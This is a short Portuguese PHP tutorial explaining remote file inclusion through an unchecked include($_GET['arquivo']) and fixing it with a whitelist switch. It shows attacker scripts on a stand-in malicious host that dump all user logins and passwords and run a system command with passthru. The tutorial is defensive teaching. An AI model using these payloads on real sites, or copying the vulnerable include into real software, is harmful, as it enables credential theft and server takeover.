PHP: Segurança com includes

Vou falar sobre "vulnerabilidade" ou melhor um descuido do programador ao desenvolver um sistema de includes.

por Rodrigo Sebold

http://www.site.com.br/index.php 

<?php 
// Aqui o programador descuidado pode fazer uma busca 
// pelas categorias do menu no banco de dados MySQL... 

mysql_connect("host","user","pass"); 
mysql_select_db("rootsec"); 
$sql = mysql_query("SELECT `nome_categoria` FROM `categorias` ORDER BY `nome_categoria` ASC"); 
while($i = mysql_fetch_array($sql)) { 
print $i["nome_categoria"] . "<br />\n"; 
} 

// Agora da um include para inserir o conteúdo 

if(isset($_GET[arquivo])) { 
include($_GET[arquivo]); 
} 
?>    

http://www.malintencionado.com.br/pegardados.php
   
<?php 
// Instrução ao MySQL para fazer uma busca por todos usuarios 

$sql = mysql_query("SELECT * FROM `usuarios`"); 

// Mostrar todos usuarios registrados, agora é papel e caneta 
// na mão para copiar todos dados de saída ;/ 

while($i = mysql_fetch_array($sql)) { 
print $i["login_usuario"] . " : " . $i[senha_usuario] . "<br />\n"; 
} 
?> 

http://www.malintencionado.com.br/pegardados.php 

<?php 
print "<pre>"; 
passthru("dir c:"); 
print "</pre>"; 
?> 

http://www.site.com.br/index.php 

<?php 

// A conexão e a busca das categorias ficariam 
// da mesma maneira, mas após a consulta não seria necessário 
// o script ficar conectado ao MySQL vamos fechar a conexão 
// usando mysql_close() 

mysql_connect("localhost","root",""); 
mysql_select_db("rootsec"); 
$sql = mysql_query("SELECT `nome_categoria` FROM `categorias` ORDER BY `nome_categoria` ASC"); 
while($i = mysql_fetch_array($sql)) { 
print $i["nome_categoria"] . "<br />\n"; 
} 
mysql_close(); 

// Agora vamos verificar os dados que o usuário vai enviar 
// da seguinte maneira: 

switch($_GET[arquivo]) { 
case "empresa.php": 
include("empresa.php"); 
break; 
case "contato.php": 
include("contato.php"); 
break; 
default: 
print "<br /><br /><br /><br /><br /><br />"; 
print "<h1>Bem Vindo</h1>"; 
break; 
} 
?>